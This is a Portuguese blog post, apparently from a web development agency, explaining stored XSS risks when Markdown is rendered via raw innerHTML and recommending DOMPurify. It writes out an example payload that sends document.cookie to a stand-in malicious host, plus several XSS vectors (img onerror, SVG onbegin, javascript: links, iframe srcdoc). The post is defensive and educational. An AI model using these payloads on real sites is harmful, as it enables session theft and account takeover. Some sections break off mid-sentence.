Como Renderizar Markdown com Segurança: Porque o innerHTML Cru é Perigoso e Como o DOMPurify Trava Ataques XSS

Como Renderizar Markdown com Segurança: Porque o innerHTML Cru é Perigoso e Como o DOMPurify Trava Ataques XSS

A Tentação Fatal: Renderizar Markdown com innerHTML sem Filtros

Em 2026, praticamente todas as aplicações web modernas têm um editor de texto ou um assistente de inteligência artificial. Os clientes enviam mensagens de suporte em Markdown, equipas editoriais escrevem artigos em gestores de conteúdo e modelos de linguagem devolvem respostas formatadas com cabeçalhos, tabelas e código.

Para apresentar esse texto no ecrã, muitos programadores instalam uma biblioteca rápida como o marked ou markdown-it e escrevem esta linha de JavaScript:

// O ERRO MAIS COMUM E PERIGOSO: Injetar HTML diretamente sem validação
const htmlGerado = marked.parse(textoDoUtilizador);
contentorNoDOM.innerHTML = htmlGerado; // VULNERABILIDADE CRÍTICA DE XSS!

À primeira vista, parece inofensivo. Afinal de contas, o Markdown é apenas texto com chavetas e asteriscos, certo?

Errado.

Segundo a especificação oficial do CommonMark, qualquer tag HTML pura é considerada Markdown perfeitamente válido. O Markdown foi desenhado de raiz para permitir código HTML de modo a que os autores pudessem criar layouts personalizados quando a sintaxe simples não chegava.

A CADEIA DE ATAQUE DE UM XSS GRAVADO (STORED XSS)

  • Um Utilizador Malicioso Deixa um Comentário ou Ticket de Suporte: “Parabéns pelo serviço! <img src=x onerror="fetch(‘https://malicioso.com?c=’
    • encodeURIComponent(document.cookie))">”
  • O Teu Servidor Guarda o Texto na Base de Dados PostgreSQL
  • O Administrador da Empresa Abre o Painel para Ler a Mensagem
  • O Browser do Administrador: elemento.innerHTML = htmlGerado
  • O navegador tenta carregar a imagem com endereço src=x
  • A imagem falha de imediato → Dispara o evento de erro onerror!
  • O código JavaScript rouba a sessão do administrador e envia para o atacante!

Se um invasor colocar uma simples tag de imagem com um endereço errado e um manipulador onerror, o navegador corre esse código no contexto seguro do teu domínio. O invasor ganha os mesmos privilégios do utilizador que está a ver a página—podendo roubar credenciais, alterar definições da empresa ou aceder a dados confidenciais de faturas.

De acordo com a OWASP, o Cross-Site Scripting (XSS) continua a ser uma das falhas mais graves e destrutivas em aplicações na internet.

Na nossa equipa desenhamos websites de alta performance e aplicações web que aplicam validação rigorosa de código para que nenhum texto de terceiros coloque os teus clientes em perigo.


Porque Filtros Simples com Expressões Regulares Falham Sempre

Quando se apercebem deste perigo, muitos programadores tentam criar um filtro caseiro com uma expressão regular para remover a tag <script>:

// A FALSA PROTEÇÃO: Uma expressão regular não te protege de nada!
function limparTextoErrado(html) {
  return html.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '');
}

Esta abordagem é inútil. Um ataque de XSS moderno não precisa de usar tags <script>. Existem centenas de vetores alternativos em HTML5 capazes de correr código:

<!-- Exemplo 1: Manipuladores de erro em imagens -->
<img src="ficheiro-falso" onerror="alert(document.domain)">

<!-- Exemplo 2: Animações SVG com eventos automáticos -->
<svg><animate onbegin="alert(1)" attributeName="x" dur="1s">

<!-- Exemplo 3: Links com pseudo-protocolos de JavaScript -->
<a href="javascript:alert(1)">Clica aqui para ver a fatura</a>

<!-- Exemplo 4: Quadros incorporados com código embutido -->
<iframe srcdoc="<script>alert(parent.document.cookie)<\/script>"></iframe>

Os motores dos browsers são extremamente permissivos: corrigem tags mal fechadas, toleram espaços estranhos e interpretam caracteres codificados em hexadecimal. Uma expressão regular nunca conseguirá prever todas as formas como o motor em C++ do navegador vai interpretar o código.

A única solução matematicamente fiável é construir uma árvore de elementos (AST) na memória, inspecionar cada nó contra uma lista fechada de permissões e deitar fora tudo o que for suspeito.


O Padrão da Indústria: Usar o DOMPurify

A biblioteca de referência mundial para sanitizar código HTML é o DOMPurify, um projeto de código aberto mantido no GitHub.

A LIMPEZA DA ÁRVORE DE ELEMENTOS COM O DOMPURIFY

  • Texto Suspeito Recebido: <p>Olá</p><script>malware()</script><b onclick="roubar()">Texto</b>
  • O DOMPurify Constrói uma Árvore de Elementos em Memória (DOMParser)
  • Inspeção Nó a Nó com Lista Fechada de Permissões: Nó

    → Está na lista autorizada → MANTÉM

  • Nó
    [+] [ INDEX_DIRECTORY ] 15 tópicos ▼
    [ SYSTEM.FAQ ]

    Perguntas Frequentes

    Porque é tão perigoso converter Markdown diretamente para HTML sem filtros?

    As especificações oficiais do Markdown (CommonMark e GFM) autorizam expressamente a inserção de tags HTML reais no meio do texto. Os conversores como o `marked` cospem esse HTML sem validação. Se pegares no texto de comentários, artigos de CMS ou respostas de modelos de IA e o inserires diretamente no teu site com `innerHTML`, qualquer tag `

    > INICIAR_PROJETO

    Precisa de um website que transmita confiança, apareça na pesquisa e dê mais força à sua presença digital? Comece a conversa aqui.